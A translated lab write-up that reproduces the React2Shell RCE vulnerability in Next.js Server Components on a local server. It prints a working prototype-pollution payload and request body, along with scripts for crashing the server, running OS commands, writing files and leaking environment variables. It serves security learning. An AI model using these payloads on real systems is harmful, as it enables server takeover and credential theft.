🔧 阿川の電商水電行
Shopify 顧問、維護與客製化
💡
小任務 / 單次支援方案
單次處理 Shopify 修正/微調
⭐️
維護方案
每月 Shopify 技術支援 + 小修改 + 諮詢
🚀
專案建置
Shopify 功能導入、培訓 + 分階段交付

引言

住在北海道的信息系學生斉藤賢悟。

此次我想透過實際攻擊來總結最近受到關注的React Server Components的漏洞。

在一個有漏洞的Next.js版本上架設Web伺服器,並在本地環境進行驗證。

本次介紹的內容僅為安全學習之目的。
在未經許可的系統上執行或攻擊,均屬非法,切勿濫用。

CVE-2025-55182(React2Shell)是什麼

這是一個關於React Server Components(RSC)中的無身份驗證的遠端代碼執行(RCE)漏洞。

換句話說,攻擊者可以通過發送特製的請求,在伺服器上執行任意代碼。

這種攻擊是「無身份驗證・無特別權限・無用戶操作」即可實現的,十分嚴重。

CVSS分數為10.0,是最高分數。

官方網站

哪些環境會受到影響

  • 使用App Router + React Server Components
  • 版本過舊/未打補丁的

使用Pages Router或未使用RSC的配置不會受到此漏洞影響。

對策

升級到已打補丁的版本

原因

這次漏洞的原因在於RSC中使用的Flight協議的反序列化(恢復)處理存在漏洞。

在RSC內部,伺服器會對特別形式的JSON類型數據進行反序列化和處理。

本來是基於React生成的安全數據,但實際上,外部製作的請求也能被反序列化,這是個缺陷。

具體來說,攻擊者發送的JSON負載中包含的__proto__then等屬性在伺服器的反序列化過程中被錯誤解釋。

因此,意外的構建了所謂的「裝置鏈」,最終導致像child_process.execSync這樣的危險函數被呼叫。

特製請求的解說

此次利用漏洞的攻擊不是通過正常請求處理發生的,而是在反序列化(數據恢復)過程中成立的。

此次的請求主要由兩個結構組成。

攻擊的整體流程

    participant Attacker as 攻擊者
    participant Server as Next.js 伺服器
    participant Deserializer as 反序列化處理

    Attacker->>Server: 1. 發送請求 (Multipart)
    Note right of Attacker: 包含「JSON」和「參考」

    Server->>Server: 2. 確認Next-Action ID
    Server->>Deserializer: 3. 開始恢復參數數據

    Deserializer->>Deserializer: 4. 解析JSON
    Note right of Deserializer: 因原型污染<br>處理流程被扭曲

    Deserializer->>Server: 5. 執行意外函數(execSync)
    Server-->>Attacker: 6. 包含執行結果的錯誤回應

第一下: JSON Payload / 裝置鏈

一個精巧的裝置鏈,旨在騙取伺服器。本來不應連接的內部處理被強行連結,最終引導至「命令執行」。

裝置鏈 / Gadget Chain
「裝置」是指伺服器內本來存在的正常代碼片段。
當Payload破壞數據的完整性時,本來不應該連接的正常代碼(裝置)依攻擊者意圖相繼連鎖執行,這被稱為「裝置鏈」。

const payloadJson = JSON.stringify({
  // 原型污染
  // 操作對象的基礎(__proto__),準備改寫伺服器行為
  then: "$1:__proto__:then",

  // 非同步處理劫持
  // 誘導React側以「解決的Promise」進行處理
  status: "resolved_model",

  _response: {
    // 要執行的命令
    // 最終將作為execSync的引數傳遞的字符串
    _prefix: `process.mainModule.require('child_process').execSync('${COMMAND}');`,

    _formData: {
      // 函數替換
      // 在內部處理時,誘導獲取到 'constructor'(函數生成機能)
      get: "$1:constructor:constructor",
    },
  },
});

第二下: 請求主體

Next.js的Server Actions擁有一個參考(Reference)的機制,以高效地發送多個數據。

此次攻擊將利用這一機制。

const body = [
  // 爆炸彈本體
  `--${BOUNDARY}`,
  'Content-Disposition: form-data; name="0"',
  "",
  payloadJson, // 將先前的JSON放在此處

  // 引爆開關
  `--${BOUNDARY}`,
  'Content-Disposition: form-data; name="1"',
  "",
  '"$@0"', // 重要
  // 指示Flight協議對0號數據進行引用擴展
  `--${BOUNDARY}--`,
  "",
].join("\r\n");

在name="1"中,指示伺服器「使用0號數據進行處理」。這樣伺服器就強制讀取了惡意的JSON。

參考 / Reference
數據的實體放在另一個地方,必要時指向並調用的機制。
在這次攻擊中,即請求內含的"$@0"字符串。 Next.js的通訊協議(Flight)具備從其他位置參考發送數據的功能。攻擊者利用這一點,發出指令,「讀取並展開在ID:0的JSON Payload」。

驗證

接下來總結實際進行的驗證。

此次驗證所用的倉庫。

將以此倉庫為參考進行解說。

1. 環境開發

首先在有漏洞的版本(Next.js 16.0.1)上架設Web伺服器。

此外準備了攻擊用腳本的執行環境。

在Web伺服器的首頁上實作如下ServerActions:

為了獲取被呼叫時能取得的ID,testAction()內不需特別處理。

export default function Home() {
  async function testAction(arg: any) {
    "use server";
    // 省略
  }
  return (
    <div>
      <main>Web伺服器</main>
      <form action={testAction}>
        <button>提交</button>
      </form>
    </div>
  );
}

2. 獲取Actions ID

已獲得從外部呼叫Server Actions所需的認證ID。

  1. 啟動Web伺服器後,瀏覽器訪問 http://localhost:3000/
  2. 打開開發者工具,選擇Network標籤
  3. 在Web前端點擊提交按鈕
  4. 選擇Network標籤中顯示的「localhost」,並從標頭中複製Next-Action的值
  5. 打開要執行的驗證腳本(例如:readenv.ts等),並將Next-Action的值寫入之前複製的

3. 攻擊驗證

接下來將對自己架設的本地伺服器進行實際攻擊。

a. 可用性侵害驗證

首先確認伺服器是否脆弱(是否因外部的不正輸入而崩潰)。

const payloadArray = Array(200).fill("$F");
const body = JSON.stringify(payloadArray);

try {
  const res = await axios.post("http://localhost:3000", body, {
    headers: {
      "Content-Type": "text/plain",
      "Next-Action": "", // 輸入之前獲得的ID
    },
  });
} 

執行內容

  • 執行bun run send
  • 送出大量包含Flight協議標記$F的不正負載

結果
伺服器進程崩潰(500錯誤 / 連接關閉)

證明的事實
存在DoS(服務拒絕)漏洞,服務可以被強制停止。

b. 命令注入:啟動應用

檢查伺服器內部是否能執行OS命令
啟動計算器

// 省略
// const COMMAND = "calc"; // Windows的情況
const COMMAND = "open -a Calculator"; // macOS的情況

const TARGET_URL = "http://localhost:3000";
const BOUNDARY = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";

const payloadJson = // 省略
const body = // 省略

try {
  const res = await fetch(TARGET_URL, {
    method: "POST",
    headers: {
      Host: "localhost:3000",
      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
      "Next-Action": NEXT_ACTION_ID,
      "Content-Type": `multipart/form-data; boundary=${BOUNDARY}`,
    },
    body: body,
  });
  // 省略
}
calculator();

執行內容
執行bun run calculator
建立裝置鏈,透過Node.js的child_process.execSync注入OS命令

結果
在Windows/Mac環境中啟動計算器

證明的事實
存在RCE漏洞,攻擊者可奪取伺服器控制權。

c. 檔案寫入

驗證了不依賴於OS或Shell的差異(如引號問題)下,更為可靠的攻擊方法。
僅需更改先前請求的COMMAND部分即可執行。

// web伺服器側生成檔案
const DATA = "This file was generated by the attacker server.";
const COMMAND = `echo "${DATA}" > public/test.txt`;

執行內容
執行bun run writeFile
發送payload以呼叫echo(命令)Shell命令

結果
在public目錄下生成test.txt。

證明的事實
可透過OS命令注入生成檔案(存在設置後門的風險)。

d. 環境變數的竊取

檢查是否能將伺服器內的機密信息外洩。

透過錯誤為基的資訊竊取值。

* 不必要的代碼已省略。

// 省略
const JS_PAYLOAD = `
  const env = JSON.stringify(process.env, null, 2);
  throw new Error('/// DATA START /// ' + env + ' /// DATA END ///');
`;
// 將換行替換為空格並放成一行
const minifiedPayload = JS_PAYLOAD.replace(/\n/g, " ");

const TARGET_URL = "http://localhost:3000";
const BOUNDARY = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";

const payloadJson = // 省略
const body = // 省略

// 省略
try {
  const res = // 省略

  if (res.status === 500) {
    // 尋找嵌入的標記
    const match = text.match(/DATA START \/\/\//s);

    if (match && match[1]) {
      console.log("\n【成功】環境變數被竊取:\n");
      try {
        const envJson = JSON.parse(match[1].replace(/\\n/g, "\\n"));
        console.log(envJson);
      } catch {
        console.log(match[1]);
      }
    } else {
      console.log("[-] 未找到數據提取標記。顯示整體響應:");
      console.log(text.substring(0, 1000));
    }
  } else {
    console.log(`[*] 回應: ${text.substring(0, 500)}`);
  }
} catch (err: any) {
  console.error(`[!] 錯誤: ${err.message}`);
}

攻擊流程

代碼內的處理流程如下:

  1. 數據獲取: const env = JSON.stringify(process.env ...) 首先,私下讀取伺服器內部的環境變數
  2. 嵌入錯誤: throw new Error('/// DATA START /// ' + env + ...) 將獲取的數據作為錯誤信息的一部分進行嵌入,強制引發例外錯誤
  3. 伺服器行為: Next.js檢測到錯誤,生成包含錯誤信息(獲取的數據)的HTTP 500回應並發送
  4. 數據回收: 攻擊者的腳本從回傳的500錯誤訊息中提取以標記(/// DATA START ///)圍繞的部分並顯示出來

執行內容
執行bun run readenv
發送 payload,從 process.env(環境變數)中獲取內容,然後將其拋出作為錯誤信息。

結果
HTTP回應(500錯誤)中包含伺服器的環境變數(API密鑰或版本信息等)。

證明的事實
有可能竊取AWS密鑰或DB密碼等機密信息。

結論

1. 應用層的防禦無效

通常,像if (!user.isAdmin) return;這樣的代碼或者通過Middleware進行的身份驗證檢查來確保安全。

但是,這次的攻擊成立於這些代碼執行之前(框架接收請求並恢復數據的階段)

也就是說,無論你寫多麼堅固的身份驗證邏輯,只要使用具有這一漏洞的版本,都難以阻擋攻擊。

2. 框架內部的死角

開發者通常不會意識到Next.js的Server Actions是如何反序列化數據的。

這次攻擊正好利用了這一黑箱內部處理(Flight協議)的漏洞,偽裝成合法通訊執行不當命令。

3. 對策為升級

如驗證結果所示,若攻擊成功將奪取伺服器的全權(RCE),可以自由進行信息的竊取與篡改。

若將payload複雜化(混淆),WAF等檢測可能會被繞過。

唯一也是最重要的對策就是升級到修正根本原因的版本。

建議立即升級,以免被轉變為挖掘伺服器等更大損失。

總結

本文簡單驗證了RSC漏洞的惡意攻擊在本地的過程。

由於仍在學習中,如有不妥之處敬請指正。

參考文獻


原文出處:https://qiita.com/Kengo2003/items/ff3c30e60835d2dad9cd


精選技術文章翻譯,幫助開發者持續吸收新知。

共有 0 則留言


精選技術文章翻譯,幫助開發者持續吸收新知。
🏆 本月排行榜
🥇
站長阿川
📝15   💬10   ❤️4
406
🥈
我愛JS
📝1   💬7   ❤️3
61
評分標準:發文×10 + 留言×3 + 獲讚×5 + 點讚×1 + 瀏覽數÷10
本數據每小時更新一次
🔧 阿川の電商水電行
Shopify 顧問、維護與客製化
💡
小任務 / 單次支援方案
單次處理 Shopify 修正/微調
⭐️
維護方案
每月 Shopify 技術支援 + 小修改 + 諮詢
🚀
專案建置
Shopify 功能導入、培訓 + 分階段交付